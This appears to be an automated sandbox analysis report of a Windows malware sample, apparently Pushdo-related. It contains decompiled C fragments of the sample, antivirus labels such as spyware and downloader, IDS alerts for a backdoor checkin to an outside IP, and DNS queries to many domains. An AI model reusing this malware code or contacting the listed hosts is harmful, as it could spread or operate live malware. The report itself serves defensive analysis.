						_t210 = _t210 + 0x68;
						_v12 = _a8 + _v88;
						if(_v24 != 0) {
							_v120 = _v24;
							E04020CC0(_v120);
							_t210 = _t210 + 4;
							_v24 = 0x666;
						}
					}
					if( *_v140 != 0) {
						_v128 = E04020CE0( *((intOrPtr*)(_v140 + 4)) + _v12);
						_v108 = _v128;
						_push( *((intOrPtr*)(_v140 + 4)));
						E04006CA0(_t149, 0x42757e, 0x427564, _v108,  *_v140);
						_push(_v12);
						E04006CA0(_t149, 0x42757e, 0x427564, _v108 +  *((intOrPtr*)(_v140 + 4)), _v16);
						_t210 = _t210 + 0x1c;
						if( *_v140 != 0) {
							_v132 =  *_v140;
							E04020CC0(_v132);
							_t210 = _t210 + 4;
							 *_v140 = 0x666;
						}
						 *_v140 = _v108;
						 *((intOrPtr*)(_v140 + 4)) =  *((intOrPtr*)(_v140 + 4)) + _v12;
						_v5 = 1;
					} else {
						_v124 = E04020CE0(_v12);
						 *_v140 = _v124;
						_push(_v12);
						E04006CA0(_t149, 0x42757e, 0x427564,  *_v140, _v16);
						_t210 = _t210 + 0x10;
						 *((intOrPtr*)(_v140 + 4)) = _v12;
						_v5 = 1;
					}
					if(_v16 != _a4 && _v16 != 0) {
						_v136 = _v16;
						E04020CC0(_v136);
						_t210 = _t210 + 4;
						_v16 = 0x666;
					}
					_t180 = 0;
					if(0 != 0) {
						continue;
					} else {
						L16:
						return E04006C8C(_v5, _t149, _v28 ^ _t209, _t180, 0x42757e, 0x427564);
					}
				}
				goto L16;
			}

0x0401f9f0
0x0401f9f0
0x0401fa00
0x0401fa05
0x0401fa0b
0x0401fa0f
0x0401fa23
0x0401fa29
0x0401fa30
0x0401fa43
0x0401fa45
0x0401fa47
0x0401fa48
0x0401fa5e
0x0401fa64
0x0401fa74
0x0401fa80
0x0401fabc
0x0401fad1
0x0401fae3
0x0401fae9
0x0401faef
0x0401faf8
0x0401fb03
0x0401fb0f
0x0401fb14
0x0401fb1d
0x0401fb24
0x0401fb29
0x0401fb30
0x0401fb35
0x0401fb38
0x0401fb38
0x0401fb24
0x0401fb48
0x0401fba7
0x0401fbad
0x0401fbb9
0x0401fbc7
0x0401fbd2
0x0401fbe4
0x0401fbe9
0x0401fbf5
0x0401fbff
0x0401fc06
0x0401fc0b
0x0401fc14
0x0401fc14
0x0401fc23
0x0401fc37
0x0401fc3a
0x0401fb4a
0x0401fb56
0x0401fb62
0x0401fb67
0x0401fb75
0x0401fb7a
0x0401fb86
0x0401fb89
0x0401fb89
0x0401fc44
0x0401fc4f
0x0401fc5c
0x0401fc61
0x0401fc64
0x0401fc64
0x0401fc6b
0x0401fc6d
0x00000000
0x0401fc73
0x0401fc73
0x0401fc85
0x0401fc85
0x0401fc6d
0x00000000

APIs

_memset.LIBCMT ref: 0401FA74
_strlen.LIBCMT ref: 0401FAC9

Strings

duB, xrefs: 0401FA3B

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _memset_strlen
String ID: duB
API String ID: 2279092321-2047154145
Opcode ID: 8ef916ac99e2acd8d5d850c8b0a63cac94112d2d259028affcb04b3b3e16ebb3
Instruction ID: c505e5f8326b13ea594a17ca5410903a82e5ac8279d4bf993f0f99441c28ac3a
Opcode Fuzzy Hash: 8ef916ac99e2acd8d5d850c8b0a63cac94112d2d259028affcb04b3b3e16ebb3
Instruction Fuzzy Hash: 1F913BB5D00218AFDB54CFD8D880BAEB7B5BF48318F14C159E909A7341EB35AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0401C2A0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0401C2A0(void* __edi, signed int _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				signed char _v20;
				signed char _v21;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int* _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t115;
				void* _t177;
				void* _t178;
				void* _t181;

				_t177 = __edi;
				_v8 = 0;
				while((_a4 & 0x0000ffff) == 1 || (_a4 & 0x0000ffff) == 2 || (_a4 & 0x0000ffff) == 3 || (_a4 & 0x0000ffff) == 4) {
					if(_a8 == 0 || _a12 == 0) {
						break;
					} else {
						_v12 =  *0x4250e4(_a8);
						if(_v12 < 1 || _v12 > 0x64) {
							break;
						} else {
							_v20 = 1;
							if((_a4 & 0x0000ffff) == 4) {
								L16:
								_v21 = 0;
								_v44 = E04020CE0(0xa);
								_v16 = _v44;
								E04007010(_t177, _v16, 0, 0xa);
								 *((short*)(_v16 + 8)) = _a4;
								_t103 = E04020CE0(_v12 + 1);
								_t181 = _t178 + 0x14;
								_v48 = _t103;
								 *_v16 = _v48;
								E04005A10(_v16,  *_v16, _v12 + 1, _a8);
								if((_a4 & 0x0000ffff) != 4) {
									_t109 = E04020CE0(_v20 + 1);
									_t181 = _t181 + 4;
									_v52 = _t109;
									 *((intOrPtr*)(_v16 + 4)) = _v52;
									E04005A10( *((intOrPtr*)(_v16 + 4)),  *((intOrPtr*)(_v16 + 4)), _v20 + 1, _a12);
								} else {
									 *((intOrPtr*)(_v16 + 4)) =  *_a12;
								}
								_v28 = E0401E4B0();
								while(1) {
									_t115 = E0401E4A0(_v28);
									_t178 = _t181 + 4;
									if(_t115 == 0) {
										break;
									}
									_v40 = 0xfa6d3c;
									_v36 = 0x2710;
									_v32 = 0xf9d0e8;
									if((_a4 & 0x0000ffff) != 2) {
										if((_a4 & 0x0000ffff) != 3) {
											if((_a4 & 0x0000ffff) == 4) {
												_v40 = 0xfa6d44;
												_v36 = 0xf4240;
												_v32 = 0x7fbee8;
											}
										} else {
											_v40 = 0xfa6d48;
											_v36 = 0xf4240;
											_v32 = 0xbcc7e8;
										}
									} else {
										_v40 = 0xfa6d40;
										_v36 = 0xf4240;
										_v32 = 0x42b5e8;
									}
									if( *_v40 < _v36) {
										 *((intOrPtr*)(_v32 +  *_v40 * 4)) = _v16;
										_v8 =  *_v40;
										 *_v40 =  *_v40 + 1;
										_v21 = 1;
									}
									E0401E480( &_v28);
									_t181 = _t178 + 4;
								}
								if((_v21 & 0x000000ff) == 0) {
									if( *_v16 != 0) {
										_v56 =  *_v16;
										E04020CC0(_v56);
										_t178 = _t178 + 4;
										 *_v16 = 0x666;
									}
									if((_a4 & 0x0000ffff) != 4 &&  *((intOrPtr*)(_v16 + 4)) != 0) {
										_v60 =  *((intOrPtr*)(_v16 + 4));
										E04020CC0(_v60);
										_t178 = _t178 + 4;
										 *((intOrPtr*)(_v16 + 4)) = 0x666;
									}
									if(_v16 != 0) {
										_v64 = _v16;
										E04020CC0(_v64);
										_t178 = _t178 + 4;
										_v16 = 0x666;
									}
								}
								if(0 != 0) {
									continue;
								} else {
									break;
								}
							}
							_v20 =  *0x4250e4(_a12);
							if(_v20 < 1 || _v20 > 0x64) {
								break;
							} else {
								goto L16;
							}
						}
					}
				}
				return _v8;
			}

0x0401c2a0
0x0401c2a6
0x0401c2ad
0x0401c2da
0x00000000
0x0401c2e7
0x0401c2f1
0x0401c2f8
0x00000000
0x0401c305
0x0401c305
0x0401c313
0x0401c333
0x0401c333
0x0401c341
0x0401c347
0x0401c352
0x0401c361
0x0401c36c
0x0401c371
0x0401c374
0x0401c37d
0x0401c390
0x0401c39c
0x0401c3b2
0x0401c3b7
0x0401c3ba
0x0401c3c3
0x0401c3d8
0x0401c39e
0x0401c3a6
0x0401c3a6
0x0401c3e2
0x0401c3f3
0x0401c3f7
0x0401c3fc
0x0401c401
0x00000000
0x00000000
0x0401c407
0x0401c40e
0x0401c415
0x0401c423
0x0401c443
0x0401c463
0x0401c465
0x0401c46c
0x0401c473
0x0401c473
0x0401c445
0x0401c445
0x0401c44c
0x0401c453
0x0401c453
0x0401c425
0x0401c425
0x0401c42c
0x0401c433
0x0401c433
0x0401c482
0x0401c494
0x0401c49c
0x0401c4aa
0x0401c4ac
0x0401c4ac
0x0401c3eb
0x0401c3f0
0x0401c3f0
0x0401c4bb
0x0401c4c3
0x0401c4ca
0x0401c4d1
0x0401c4d6
0x0401c4dc
0x0401c4dc
0x0401c4e9
0x0401c4fa
0x0401c501
0x0401c506
0x0401c50c
0x0401c50c
0x0401c517
0x0401c51c
0x0401c523
0x0401c528
0x0401c52b
0x0401c52b
0x0401c517
0x0401c534
0x00000000
0x00000000
0x00000000
0x00000000
0x0401c534
0x0401c31f
0x0401c326
0x00000000
0x00000000
0x00000000
0x00000000
0x0401c326
0x0401c2f8
0x0401c2da
0x0401c540

APIs

_memset.LIBCMT ref: 0401C352

Strings

d, xrefs: 0401C2FA
d, xrefs: 0401C328

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _memset
String ID: d$d
API String ID: 2102423945-195624457
Opcode ID: 9623b1273be0775a15697b469d724f7f2ac93ca0881c6a5774c0b2da6d5538b3
Instruction ID: 6121a1327febe31ce23874249aa6888692dbc835ca9b57b63cb1d65f5ac047f3
Opcode Fuzzy Hash: 9623b1273be0775a15697b469d724f7f2ac93ca0881c6a5774c0b2da6d5538b3
Instruction Fuzzy Hash: C79138B4E44218EBEB14DF94D484AEEB7B1FF49308F108559E816BB360D375EA81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 040251F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04025242
_strlen.LIBCMT ref: 04025276

Strings

@, xrefs: 04025220

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _memset_strlen
String ID: @
API String ID: 2279092321-2766056989
Opcode ID: 465e3f5f656527acc1b894b08e49c7e6ede76f44b8deec7e1eed15ce09421514
Instruction ID: 9095bb450417fa4dd51ea0b819b640531f396c38f351a606dd718691427917c8
Opcode Fuzzy Hash: 465e3f5f656527acc1b894b08e49c7e6ede76f44b8deec7e1eed15ce09421514
Instruction Fuzzy Hash: 5B1142B5E00208FFDB10DFE4DD45BEE77B4AB48314F508254E61477280E635BA458B65

Uniqueness

Uniqueness Score: -1.00%

Source: 10.2.svchost.exe.4004000.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.iJzpyjAehB.exe.23b0000.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.iJzpyjAehB.exe.10004088.12.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 6.2.pigalicapi.exe.2390000.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 10.3.svchost.exe.54a0000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.2.pigalicapi.exe.4000000.9.unpack	Avira: Label: TR/Spy.Gen
Source: 2.3.pigalicapi.exe.23e0000.1.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 12.2.svchost.exe.4004000.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 12.3.svchost.exe.3be0000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.2.pigalicapi.exe.2260000.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.2.pigalicapi.exe.7ee118.2.unpack	Avira: Label: TR/Downloader.Gen
Source: 11.3.svchost.exe.54a0000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 19.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.2.pigalicapi.exe.10004088.11.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 11.2.svchost.exe.4004000.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 12.3.svchost.exe.54a0000.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 10.2.svchost.exe.4036a00.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.iJzpyjAehB.exe.10010318.11.unpack	Avira: Label: TR/Downloader.Gen
Source: 12.2.svchost.exe.4036a00.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 26.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 6.2.pigalicapi.exe.10010318.10.unpack	Avira: Label: TR/Downloader.Gen
Source: 11.3.svchost.exe.2df0000.5.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 23.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 12.3.svchost.exe.3be0000.7.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 11.3.svchost.exe.2df0000.7.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.2.pigalicapi.exe.7e0000.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.3.pigalicapi.exe.23c0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 10.3.svchost.exe.5720000.7.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 12.2.svchost.exe.4050e00.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.2.pigalicapi.exe.10010318.12.unpack	Avira: Label: TR/Downloader.Gen
Source: 11.2.svchost.exe.4050e00.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.iJzpyjAehB.exe.23b0000.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 26.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 0.2.iJzpyjAehB.exe.238e118.5.unpack	Avira: Label: TR/Downloader.Gen
Source: 24.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.2.pigalicapi.exe.226e118.2.unpack	Avira: Label: TR/Downloader.Gen
Source: 14.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 12.3.svchost.exe.54a0000.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 11.3.svchost.exe.2de0000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 18.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 11.2.svchost.exe.4036a00.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.iJzpyjAehB.exe.4000000.9.unpack	Avira: Label: TR/Spy.Gen
Source: 6.3.pigalicapi.exe.2390000.1.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 19.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 16.2.svchost.exe.7e520000.1.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 14.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 10.2.svchost.exe.406b200.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 24.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 21.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 6.2.pigalicapi.exe.400e290.8.unpack	Avira: Label: TR/Downloader.Gen
Source: 6.2.pigalicapi.exe.2261e88.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 6.3.pigalicapi.exe.2280000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 22.2.svchost.exe.7edb0000.1.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 25.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 12.3.svchost.exe.27f0000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.2.pigalicapi.exe.23e0000.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 18.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 22.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 10.2.svchost.exe.4050e00.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 11.3.svchost.exe.54a0000.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.iJzpyjAehB.exe.2381e88.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.2.svchost.exe.7e670000.1.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 2.2.pigalicapi.exe.7e1e88.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 11.3.svchost.exe.2df0000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 23.2.svchost.exe.13140000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 12.2.svchost.exe.406b200.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 10.3.svchost.exe.55e0000.5.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 25.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.2.pigalicapi.exe.10004088.9.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.2.pigalicapi.exe.400e290.10.unpack	Avira: Label: TR/Downloader.Gen
Source: 10.3.svchost.exe.54a0000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 0.2.iJzpyjAehB.exe.400e290.10.unpack	Avira: Label: TR/Downloader.Gen
Source: 0.3.iJzpyjAehB.exe.23b0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 12.3.svchost.exe.54a0000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 10.3.svchost.exe.3550000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 12.3.svchost.exe.3be0000.5.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 16.2.svchost.exe.4000000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 11.2.svchost.exe.406b200.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 10.3.svchost.exe.54a0000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 6.2.pigalicapi.exe.4000000.7.unpack	Avira: Label: TR/Spy.Gen
Source: 0.2.iJzpyjAehB.exe.2380000.4.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: Traffic	Snort IDS: 2016867 ET TROJAN Backdoor.Win32.Pushdo.s Checkin 192.168.2.6:49714 -> 104.21.23.9:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 173.231.184.124:80 -> 192.168.2.6:50266
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 63.251.106.25:80 -> 192.168.2.6:50316

Source: iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.facebook.com/PohlFoodService" target="_blank"> equals www.facebook.com (Facebook)
Source: iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.linkedin.com/company/pohl-food-service" target="_blank"> equals www.linkedin.com (Linkedin)
Source: iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-6def677" href="https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A" target="_blank"> equals www.youtube.com (Youtube)
Source: iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/PohlFoodService" /> equals www.facebook.com (Facebook)
Source: iJzpyjAehB.exe, 00000000.00000003.398318769.0000000002DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <iframe src="http://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FConstruction-Bergeroy-inc%2F212271258798965&width=430&colorscheme=light&show_faces=false&stream=false&header=false&height=75" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:430px; height:75px;" allowtransparency="true"></iframe> equals www.facebook.com (Facebook)
Source: iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <div class="mfn-main-slider mfn-layer-slider"><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript">jQuery(function() { _initLayerSlider( '#layerslider_78_3y2sfrlz14i5', {createdWith: '6.5.8', sliderVersion: '7.5.3', pauseOnHover: 'enabled', skin: 'v6', sliderFadeInDuration: 350, globalBGSize: 'cover', hoverPrevNext: false, navStartStop: false, showCircleTimer: false, useSrcset: true, skinsPath: 'http://www.com-sit.com/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/', performanceMode: true}); });</script><div id="layerslider_78_3y2sfrlz14i5" class="ls-wp-container fitvidsignore" style="width:1980px;height:400px;margin:0 auto;margin-bottom: 0px;"><div class="ls-slide" data-ls="duration:7000;kenburnsscale:1.2;"><img width="2000" height="667" src="https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK.jpg" class="ls-bg" alt="COMS.I.T. - Auf einen Blick" decoding="async" srcset="https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK.jpg 2000w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-300x100.jpg 300w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-768x256.jpg 768w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-1024x342.jpg 1024w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-260x87.jpg 260w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-50x17.jpg 50w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-150x50.jpg 150w" sizes="(max-width: 2000px) 100vw, 2000px" /><ls-layer style="font-size:36px;color:#000;text-align:left;font-style:normal;text-decoration:none;text-transform:none;font-weight:400;letter-spacing:0px;background-position:0% 0%;background-repeat:no-repeat;top:38px;left:945px;width:560px;height:309px;" class="ls-l ls-media-layer"><iframe width="560" height="315" frameborder="0" allowfullscreen data-src="https://www.youtube.com/embed/e1ZfpowjQRo"></iframe></ls-layer></div><div class="ls-slide" data-ls="duration:7000;kenburnsscale:1.2;"><img width="1980" height="726" src="https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1.jpg" class="ls-bg" alt="" decoding="async" srcset="https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1.jpg 1980w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-300x110.jpg 300w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-768x282.jpg 768w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-1024x375.jpg 1024w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-260x95.jpg 260w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-50x18.jpg 50w, https://www.com-sit.com/wp-content/uploads
Source: iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <div class="mfn-main-slider mfn-layer-slider"><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript">jQuery(function() { _initLayerSlider( '#layerslider_78_fdu3k1p525yr', {createdWith: '6.5.8', sliderVersion: '7.5.3', pauseOnHover: 'enabled', skin: 'v6', sliderFadeInDuration: 350, globalBGSize: 'cover', hoverPrevNext: false, navStartStop: false, showCircleTimer: false, useSrcset: true, skinsPath: 'http://www.com-sit.com/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/', performanceMode: true}); });</script><div id="layerslider_78_fdu3k1p525yr" class="ls-wp-container fitvidsignore" style="width:1980px;height:400px;margin:0 auto;margin-bottom: 0px;"><div class="ls-slide" data-ls="duration:7000;kenburnsscale:1.2;"><img width="2000" height="667" src="https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK.jpg" class="ls-bg" alt="COMS.I.T. - Auf einen Blick" decoding="async" srcset="https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK.jpg 2000w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-300x100.jpg 300w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-768x256.jpg 768w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-1024x342.jpg 1024w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-260x87.jpg 260w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-50x17.jpg 50w, https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_01_AUF-EINEN-BLICK-150x50.jpg 150w" sizes="(max-width: 2000px) 100vw, 2000px" /><ls-layer style="font-size:36px;color:#000;text-align:left;font-style:normal;text-decoration:none;text-transform:none;font-weight:400;letter-spacing:0px;background-position:0% 0%;background-repeat:no-repeat;top:38px;left:945px;width:560px;height:309px;" class="ls-l ls-media-layer"><iframe width="560" height="315" frameborder="0" allowfullscreen data-src="https://www.youtube.com/embed/e1ZfpowjQRo"></iframe></ls-layer></div><div class="ls-slide" data-ls="duration:7000;kenburnsscale:1.2;"><img width="1980" height="726" src="https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1.jpg" class="ls-bg" alt="" decoding="async" srcset="https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1.jpg 1980w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-300x110.jpg 300w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-768x282.jpg 768w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-1024x375.jpg 1024w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-260x95.jpg 260w, https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-50x18.jpg 50w, https://www.com-sit.com/wp-content/uploads

Source: unknown	DNS traffic detected: query: www.wkhk.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: koz1.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: atis-sk.ca replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: webband.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.udesign.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cvswl.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amele.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: mail7.digitalwaves.co.nz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amba-tc.si replaycode: Name error (3)
